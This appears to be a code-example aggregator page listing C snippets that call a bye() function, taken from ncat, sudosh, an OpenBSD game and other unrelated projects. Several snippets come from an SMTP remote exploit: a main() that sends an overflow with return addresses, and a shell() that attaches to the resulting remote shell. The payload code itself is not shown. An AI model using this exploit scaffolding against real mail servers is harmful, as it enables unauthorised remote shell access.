/* remove a descriptor from our list */
int rm_fd(fd_list_t *fdl, int fd)
{
    int x = 0, last = fdl->nfds;

    /* make sure we have a list */
    if (last == 0)
        bye("Program bug: Trying to remove fd from list with no fds.");

    /* find the fd in the list */
    for (x = 0; x < last; x++)
        if (fdl->fds[x].fd == fd)
            break;

    /* make sure we found it */
    if (x == last)
        bye("Program bug: fd (%d) not on list.", fd);

    /* remove it, does nothing if (last == 1) */
    if (o.debug > 1)
        logdebug("Swapping fd[%d] (%d) with fd[%d] (%d)\n",
                 x, fdl->fds[x].fd, last - 1, fdl->fds[last - 1].fd);
    fdl->fds[x] = fdl->fds[last - 1];

    fdl->nfds--;

    /* was it the max */
    if (fd == fdl->fdmax)
        fdl->fdmax = get_maxfd(fdl);

    if (o.debug > 1)
        logdebug("Removed fd %d from list, nfds %d, maxfd %d\n", fd, fdl->nfds, fdl->fdmax);
    return 0;
}
Esempio n. 2
0
File: main.c Progetto: chwress/salad
int main(int argc, char* argv[])
{
	salad_filename = argv[0];
	log_level = STATUS;

	config_t config;
	test_config_t test_config;

	switch (parse_options(argc, argv, &config, &test_config))
	{
	case SALAD_EXIT:         return bye(EXIT_FAILURE);
	case SALAD_HELP:         return usage_main();
	case SALAD_HELP_TRAIN:   return usage_train();
	case SALAD_HELP_PREDICT: return usage_predict();
	case SALAD_HELP_INSPECT: return usage_inspect();
	case SALAD_HELP_STATS:   return usage_stats();
#ifdef TEST_SALAD
	case SALAD_HELP_TEST:    return usage_test();
#endif
	case SALAD_VERSION:      return version();
	default: break;
	}

	if (config.input_type == IOMODE_FILES)
	{
		error("Input mode 'files' is not yet implemented.");
		return bye(EXIT_FAILURE);
	}

	int ret = EXIT_FAILURE, is_metaop = FALSE;
	switch (config.mode)
	{
	case TRAINING:
		ret = _salad_train_(&config);
		break;
	case PREDICT:
		ret = _salad_predict_(&config);
		break;
	case INSPECT:
		ret = _salad_inspect_(&config);
		break;
	default:
		is_metaop = TRUE;
		break;
	}
	switch (config.mode)
	{
	case STATS:
		ret = _salad_stats_(&config);
		break;
#ifdef TEST_SALAD
	case TEST:
		ret = _salad_test_(&test_config);
		break;
#endif

	default: break;
	}
	return bye_ex(ret, is_metaop ? NULL : "Done!");
}
Esempio n. 3
0
static void connect_handler(nsock_pool nsp, nsock_event evt, void *data)
{
    enum nse_status status = nse_status(evt);
    enum nse_type type = nse_type(evt);

    assert(type == NSE_TYPE_CONNECT || type == NSE_TYPE_CONNECT_SSL);

    if (status == NSE_STATUS_ERROR) {
        loguser("%s.\n", socket_strerror(nse_errorcode(evt)));
        exit(1);
    } else if (status == NSE_STATUS_TIMEOUT) {
        loguser("%s.\n", socket_strerror(ETIMEDOUT));
        exit(1);
    } else {
        assert(status == NSE_STATUS_SUCCESS);
    }

#ifdef HAVE_OPENSSL
    if (nsi_checkssl(cs.sock_nsi)) {
        /* Check the domain name. ssl_post_connect_check prints an
           error message if appropriate. */
        if (!ssl_post_connect_check((SSL *) nsi_getssl(cs.sock_nsi), o.target))
            bye("Certificate verification error.");
    }
#endif

    connect_report(cs.sock_nsi);

    /* Create IOD for nsp->stdin */
    if ((cs.stdin_nsi = nsi_new2(nsp, 0, NULL)) == NULL)
        bye("Failed to create stdin nsiod.");

    post_connect(nsp, nse_iod(evt));
}
Esempio n. 4
0
static void
bye (int signum)
{
#ifdef TCSETS
  (void) ioctl (0, TCSETS, &termorig);
#endif

  if (seteuid(orig_euid) != 0)
    {
      perror ("Reacquiring uid 0 failed");
      bye (EXIT_FAILURE);
    }
  set_perms_and_close_file(&timing);
  set_perms_and_close_file(&script);
#ifdef RECORDINPUT
  set_perms_and_close_file(&input);
#endif
  if (setuid(getuid()) != 0)
    {
      perror ("Dropping setuid 0 failed");
      bye (EXIT_FAILURE);
    }

  if (sudosh_option.priority != -1)
    mysyslog (sudosh_option.priority,
	      "stopping session for %s as %s, tty %s, shell %s", user.from,
	      user.to, ttyname (0), user.shell.ptr);
  exit (signum);
}
Esempio n. 5
0
static void set_ssl_ctx_options(SSL_CTX *ctx)
{
    if (o.sslverify) {
        SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback);

        if (o.ssltrustfile == NULL) {
            ssl_load_default_ca_certs(ctx);
        } else {
            if (o.debug)
                logdebug("Using trusted CA certificates from %s.\n", o.ssltrustfile);
            if (SSL_CTX_load_verify_locations(ctx, o.ssltrustfile, NULL) != 1) {
                bye("Could not load trusted certificates from %s.\n%s",
                    o.ssltrustfile, ERR_error_string(ERR_get_error(), NULL));
            }
        }
    } else {
        if (o.ssl && o.debug)
            logdebug("Not doing certificate verification.\n");
    }

    if (o.sslcert != NULL && o.sslkey != NULL) {
        if (SSL_CTX_use_certificate_file(ctx, o.sslcert, SSL_FILETYPE_PEM) != 1)
            bye("SSL_CTX_use_certificate_file(): %s.", ERR_error_string(ERR_get_error(), NULL));
        if (SSL_CTX_use_PrivateKey_file(ctx, o.sslkey, SSL_FILETYPE_PEM) != 1)
            bye("SSL_CTX_use_Privatekey_file(): %s.", ERR_error_string(ERR_get_error(), NULL));
    } else {
        if ((o.sslcert == NULL) != (o.sslkey == NULL))
            bye("The --ssl-key and --ssl-cert options must be used together.");
    }
}
Esempio n. 6
0
File: ctalk.c Progetto: m-b-/talk
int
main(int argc, char *argv[])
{
	int sport, dport;
	char *nick;

	nick = NICK;

	if (argc < 4 || strcmp(argv[1], "-h") == 0) {
		fprintf(stderr, "%s host sport dport [nick]\n", argv[0]);
		return 1;
	}

	if (initui() == -1)
		bye(-1);
	drawbar("connecting...");

	if (argc >= 5)
		nick = argv[4];

	sserve = dial(argv[1], argv[2]);
	sbroad = dial(argv[1], argv[3]);

	if (sserve == -1 || sbroad == -1)
		return -1;

	loop(nick, argv[1]);

	bye(0);

	return 0;
}
Esempio n. 7
0
/* This function handles the post connection specific actions that are needed
 * after a socket has been initialized(normal socket or ssl socket). */
static void post_handle_connection(struct fdinfo sinfo)
{
    /*
     * Are we executing a command? If so then don't add this guy
     * to our descriptor list or set.
     */
    if (o.cmdexec) {
        if (o.keepopen)
            netrun(&sinfo, o.cmdexec);
        else
            netexec(&sinfo, o.cmdexec);
    } else {
        /* Now that a client is connected, pay attention to stdin. */
        if (!stdin_eof)
            FD_SET(STDIN_FILENO, &master_readfds);
        if (!o.sendonly) {
            /* add to our lists */
            FD_SET(sinfo.fd, &master_readfds);
            /* add it to our list of fds for maintaining maxfd */
#ifdef HAVE_OPENSSL
            /* Don't add it twice (see handle_connection above) */
            if (!o.ssl)
#endif
            if (add_fdinfo(&client_fdlist, &sinfo) < 0)
                bye("add_fdinfo() failed.");
        }
        FD_SET(sinfo.fd, &master_broadcastfds);
        if (add_fdinfo(&broadcast_fdlist, &sinfo) < 0)
            bye("add_fdinfo() failed.");

        if (o.chat)
            chat_announce_connect(sinfo.fd, &sinfo.remoteaddr);
    }
}
Esempio n. 8
0
void
mbUnlock(MbLock *ml)
{
	if(ml != &mLock)
		bye("bad mail unlock");
	if(ml->fd < 0)
		bye("mail unlock when not locked");
	close(ml->fd);
	ml->fd = -1;
}
Esempio n. 9
0
void setup_environment(struct fdinfo *info)
{
    union sockaddr_u su;
    char ip[INET6_ADDRSTRLEN];
    char port[16];
    socklen_t alen = sizeof(su);

    if (getpeername(info->fd, &su.sockaddr, &alen) != 0) {
        bye("getpeername failed: %s", socket_strerror(socket_errno()));
    }
#ifdef HAVE_SYS_UN_H
    if (su.sockaddr.sa_family == AF_UNIX) {
        /* say localhost to keep it backwards compatible */
        setenv_portable("NCAT_REMOTE_ADDR", "localhost");
        setenv_portable("NCAT_REMOTE_PORT", "");
    } else
#endif
    if (getnameinfo((struct sockaddr *)&su, alen, ip, sizeof(ip),
            port, sizeof(port), NI_NUMERICHOST | NI_NUMERICSERV) == 0) {
        setenv_portable("NCAT_REMOTE_ADDR", ip);
        setenv_portable("NCAT_REMOTE_PORT", port);
    } else {
        bye("getnameinfo failed: %s", socket_strerror(socket_errno()));
    }

    if (getsockname(info->fd, (struct sockaddr *)&su, &alen) < 0) {
        bye("getsockname failed: %s", socket_strerror(socket_errno()));
    }
#ifdef HAVE_SYS_UN_H
    if (su.sockaddr.sa_family == AF_UNIX) {
        /* say localhost to keep it backwards compatible, else su.un.sun_path */
        setenv_portable("NCAT_LOCAL_ADDR", "localhost");
        setenv_portable("NCAT_LOCAL_PORT", "");
    } else
#endif
    if (getnameinfo((struct sockaddr *)&su, alen, ip, sizeof(ip),
            port, sizeof(port), NI_NUMERICHOST | NI_NUMERICSERV) == 0) {
        setenv_portable("NCAT_LOCAL_ADDR", ip);
        setenv_portable("NCAT_LOCAL_PORT", port);
    } else {
        bye("getnameinfo failed: %s", socket_strerror(socket_errno()));
    }

    switch(o.proto) {
        case IPPROTO_TCP:
            setenv_portable("NCAT_PROTO", "TCP");
            break;
        case IPPROTO_SCTP:
            setenv_portable("NCAT_PROTO", "SCTP");
            break;
        case IPPROTO_UDP:
            setenv_portable("NCAT_PROTO", "UDP");
            break;
    }
}
SSL *new_ssl(int fd)
{
    SSL *ssl;

    if (!(ssl = SSL_new(sslctx)))
        bye("SSL_new(): %s.", ERR_error_string(ERR_get_error(), NULL));
    if (!SSL_set_fd(ssl, fd))
        bye("SSL_set_fd(): %s.", ERR_error_string(ERR_get_error(), NULL));

    return ssl;
}
Esempio n. 11
0
void shell(char *host, u_short port)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sock = conn(host, port);

    printf("--{ Got a shell\n\n"
           "--{ Updating Webster's\n"
           "--{ definitely, adv.:\n"
           "--{ 1. See specious\n\n"
           "--{ For the linguistically challenged...\n"
           "--{ specious, adj. :\n"
           "--{ 1. Having the ring of truth or plausibility but "
           "actually fallacious\n"
           "--{ 2. Deceptively attractive\n\n"
          );

    FD_ZERO(&rfds);

    while (1) {
	    FD_SET(STDIN_FILENO, &rfds);
	    FD_SET(sock, &rfds);

	    if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
	        die("select");

	    if (FD_ISSET(STDIN_FILENO, &rfds)) {
            l = read(0, buf, BS);
            if(l < 0)
                die("read");
            else if(l == 0)
		        bye("\n - Connection closed by user\n");

	        if (write(sock, buf, l) < 1)
		        die("write");
	    }

	    if (FD_ISSET(sock, &rfds)) {
	        l = read(sock, buf, sizeof(buf));

	        if (l == 0)
		        bye("\n - Connection terminated.\n");
	        else if (l < 0)
		        die("\n - Read failure\n");

	        if (write(STDOUT_FILENO, buf, l) < 1)
		        die("write");
	    }
    }
}
Esempio n. 12
0
File: io.c Progetto: lattera/openbsd
/*
 * infrom:
 *	reads a card, supposedly in hand, accepting unambiguous brief
 *	input, returns the index of the card found...
 */
int
infrom(CARD hand[], int n, char *prompt)
{
	int i, j;
	CARD crd;

	if (n < 1) {
		bye();
		printf("\nINFROM: %d = n < 1!!\n", n);
		exit(74);
	}
	for (;;) {
		msg("%s", prompt);
		if (incard(&crd)) {	/* if card is full card */
			if (!isone(crd, hand, n))
				msg("That's not in your hand");
			else {
				for (i = 0; i < n; i++)
					if (hand[i].rank == crd.rank &&
					    hand[i].suit == crd.suit)
						break;
				if (i >= n) {
					bye();
			printf("\nINFROM: isone or something messed up\n");
					exit(77);
				}
				return (i);
			}
		} else			/* if not full card... */
			if (crd.rank != EMPTY) {
				for (i = 0; i < n; i++)
					if (hand[i].rank == crd.rank)
						break;
				if (i >= n)
					msg("No such rank in your hand");
				else {
					for (j = i + 1; j < n; j++)
						if (hand[j].rank == crd.rank)
							break;
					if (j < n)
						msg("Ambiguous rank");
					else
						return (i);
				}
			} else
				msg("Sorry, I missed that");
	}
	/* NOTREACHED */
}
Esempio n. 13
0
/*------------Main Function Starts Here----------------*/
void main(void)
{
textcolor(BLACK);
textbackground(BLACK);
clrscr(); //not needed here bcoz---> intro does it

/*To make user feel that it's Initializing*/
textcolor(RED);
gotoxy(32,22);
cprintf("Initializing");
for(i=46;i<50;i++)
cprintf(".");//delay();}
delay(2000);
/*----File Initialization---*/
rec_size=sizeof(book);
fp=fopen("c:\\library.sjb","ab+");
       //fp=fopen("c:\\library.sjb","rb+");
	if (fp==NULL)	bye();
	else
	{
	read_data(); // Reads data at the initialization time to find
	maxrec--;    // maxrec, which is the maxm no of data in the file
	}            //Decreased by one to avoid COUNTER Error.
/*--Intro Screen of the Program--*/
intro();
welcome();
home();

for(;;) //HOME LOOP OF THE PROGRAM
{
fflush(stdin); //Flushes the stdin input device
ch=tolower(getch());
if (ch==32||ch==13) //IF ALLOWS TO ENTER MAIN LOOP
	{
	setscreen();
	which_view();
	if(maxrec==-1) // Maxrec is decremented for the case of exiting database
	status("Database empty.");
	else
	status("The LIBRARY, welcomes you.");
	mainloop();
	home();
	}// IF THAT ALLOWED TO ENTER MAIN LOOP IS CLOSED NOW
else if (ch==27) bye(); //End of program
else if(ch=='p') printer(0); //Call to printer() from HOME
else if(ch=='x') html(0); //Call to html() from HOME
}// HOME loop of the programme
}
Esempio n. 14
0
int main(int argc, char **argv)
{
    int sock = 0,   npad = 0;
    u_int   retloc  = 0,    retaddr = 0;
    char    *host = NULL;

    if(parse_args(argc, argv, &host, &npad, &retloc, &retaddr))
        bye("Usage: %s < host > < padding > < retloc > < retaddr >\n", argv[0]);

    printf("--{ Smack 1.oohaah\n\n");

    sock = conn(host, SMTP_PORT);

    printf("--{ definitely, adv.:\n"
           "--{ 1. Having distinct limits\n"
           "--{ 2. Indisputable; certain\n"
           "--{ 3. Clearly defined; explicitly precise\n\n"
          );

    sploit(sock, npad, retloc, retaddr);

    printf("--{ Attempting to redefine the meaning of 'definitely'\n\n");

    shell(host, SHELL_PORT);

    return EXIT_SUCCESS;
}
Esempio n. 15
0
int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
	    bye("gethostbyname failed with error %s", hstrerror(h_errno));
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)
	    die("socket");

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
	    die("connect");

    return sock;
}
Esempio n. 16
0
int
main (void)
{
  hello ("everyone");
  bye ();
  return 0;
}
Esempio n. 17
0
void hButton::update(){
	if (enabled){
		if (mouse_x > x - font->GetStringWidth(caption)
		 && mouse_x < x + font->GetStringWidth(caption)
		 && mouse_y < 20 + font->GetHeight()
		 && mouse_y > 0){
			 selected = true;
			 if (hge->Input_KeyUp(HGEK_LBUTTON))
				switch(id){
				case idStart:
					gameEnabled   = true;
					updateEnabled = true;
					inputEnabled  = true;
					for (int i = 0; i < BUTTONS_COUNT-1; i++)
						buttons[i]->enabled = false;
					break;
				case idRestart:
					restartLevel();
					canPunchBall = true;
					break;
				case idExit:
					bye();
					exit(4);
					break;
				}
		}else 
			selected = false;
	}
}
Esempio n. 18
0
/* watch for user kills and send bye */
void sigterm_handler() 
{
  my_error("Got some sort of term signal, sending bye and shutting down");
  bye();
  Mem->FlushFiles();
  Mem->ServerAlive = FALSE;
}
Esempio n. 19
0
int main() {

	dummy();
	bye();
	dummy();
	return 0;
}
Esempio n. 20
0
char * io_get_token(){
  int e;
  if(pos == -1){
    do {
      bufr = io_get_line();
      if(bufr == NULL) return NULL;
      // remove trailing spaces
      e = strlen(bufr) - 1;
      while(e >= 0 && isspace(bufr[e])) e--;
    } while(e == -1);
    bufr[e+1] = '\0';
    pos = 0;
  }

  while(isspace(bufr[pos])) pos++;

  int i = 0;
  while(bufr[pos] > 32){
    if(i >= MAX_TOKEN_SIZE - 1){
      printf("\r\nMaximum token size exceeded");
      bye();
    }
    token[i++] = bufr[pos++];
  }
  token[i] = '\0';

  if(bufr[pos] == '\0') pos = -1;

  return token;
}
Esempio n. 21
0
int main(int argc, char **argv)
{
  long a;
  int i;

  a = sysconf(_SC_ATEXIT_MAX);
  printf("ATEXIT_MAX = %ld\n", a);

  i = atexit(bye);

  if (i != 0)
  {
    fprintf(stderr, "cannot set exit function\n");
    return EXIT_FAILURE;
  }

  atexit(foo);

  //int on_exit(void (*function)(int , void *), void *arg);
  on_exit(print_value, (int *) 1);
  on_exit(print_value, (int *) 2);

#if 0
  bye();
#endif

  return 8765;
}
Esempio n. 22
0
static void disconnected_timeout(void)
{
	writes("* BYE Disconnected for inactivity.\r\n");
	writeflush();
	bye_msg("INFO: TIMEOUT");
	bye();
}
Esempio n. 23
0
static char *make_nonce(const struct timeval *tv)
{
    char *buf = NULL;
    size_t size = 0, offset = 0;
    MD5_CTX md5;
    unsigned char hashbuf[MD5_DIGEST_LENGTH];
    char hash_hex[MD5_DIGEST_LENGTH * 2 + 1];
    char time_buf[32];

    /* Crash if someone forgot to call http_digest_init_secret. */
    if (!secret_initialized)
        bye("Server secret not initialized for Digest authentication. Call http_digest_init_secret.");

    Snprintf(time_buf, sizeof(time_buf), "%lu.%06lu",
        (long unsigned) tv->tv_sec, (long unsigned) tv->tv_usec);

    MD5_Init(&md5);
    MD5_Update(&md5, secret, sizeof(secret));
    MD5_Update(&md5, ":", 1);
    MD5_Update(&md5, time_buf, strlen(time_buf));
    MD5_Final(hashbuf, &md5);
    enhex(hash_hex, hashbuf, sizeof(hashbuf));

    strbuf_sprintf(&buf, &size, &offset, "%s-%s", time_buf, hash_hex);

    return buf;
}
Esempio n. 24
0
int do_connect(int type)
{
    int sock = 0;

    if (type != SOCK_STREAM && type != SOCK_DGRAM)
        return -1;

    /* We need a socket that can be inherited by child processes in
       ncat_exec_win.c, for --exec and --sh-exec. inheritable_socket is from
       nbase. */
    sock = inheritable_socket(targetss.storage.ss_family, type, 0);

    if (srcaddr.storage.ss_family != AF_UNSPEC) {
        size_t sa_len;

#ifdef HAVE_SOCKADDR_SA_LEN
        sa_len = srcaddr.sockaddr.sa_len;
#else
        sa_len = sizeof(srcaddr);
#endif
        if (bind(sock, &srcaddr.sockaddr, sa_len) < 0) {
            bye("bind to %s:%hu: %s.", inet_socktop(&srcaddr),
                inet_port(&srcaddr), socket_strerror(socket_errno()));
        }
    }

    if (sock != -1) {
        if (connect(sock, &targetss.sockaddr, (int) targetsslen) != -1)
            return sock;
        else if (socket_errno() == EINPROGRESS || socket_errno() == EAGAIN)
            return sock;
    }
    return -1;
}
Esempio n. 25
0
unsigned char *buildsrcrte(struct in_addr dstaddr, struct in_addr routes[],
                  int numroutes, int ptr, size_t *len)
{
    int x;
    unsigned char *opts, *p;

    *len = (numroutes + 1) * sizeof(struct in_addr) + 4;

    if (numroutes > 8)
        bye("Bad number of routes passed to buildsrcrte().");

    opts = (unsigned char *) safe_malloc(*len);
    p = opts;

    zmem(opts, *len);

    *p++ = 0x01; /* IPOPT_NOP, for alignment */
    *p++ = 0x83; /* IPOPT_LSRR */
    *p++ = (char) (*len - 1); /* subtract nop */
    *p++ = (char) ptr;

    for (x = 0; x < numroutes; x++) {
        memcpy(p, &routes[x], sizeof(routes[x]));
        p += sizeof(routes[x]);
    }

    memcpy(p, &dstaddr, sizeof(dstaddr));

    return opts;
}
//--------------------------------------------------------------------------------
int main( void ) {
	cout << "Creating an object of class Layers. ";
	Layers f1( "PackRat" ); 
    f1.print(cout);
    // Layers f2(f1);        // A call on the copy constructor.
	bye();
}
Esempio n. 27
0
static void report(char *prefix)
{
    const char *errormsg;
    errormsg = lua_tostring(L, -1);
    if (errormsg == NULL)
        errormsg = "(error object is not a string)";
    bye("%s: %s.", prefix, errormsg);
}
Esempio n. 28
0
void windows_init()
{
    WORD werd;
    WSADATA data;

    werd = MAKEWORD(2, 2);
    if ((WSAStartup(werd, &data)) != 0)
        bye("Failed to start WinSock.");
}
Esempio n. 29
0
/* safely multiply 2 size_t */
size_t smul(size_t l, size_t r)
{
    size_t t;

    t = l * r;
    if (l && t / l != r)
        bye("integer overflow %lu * %lu.", (u_long) l, (u_long) r);
    return t;
}
Esempio n. 30
0
/* safely add 2 size_t */
size_t sadd(size_t l, size_t r)
{
    size_t t;

    t = l + r;
    if (t < l)
        bye("integer overflow %lu + %lu.", (u_long) l, (u_long) r);
    return t;
}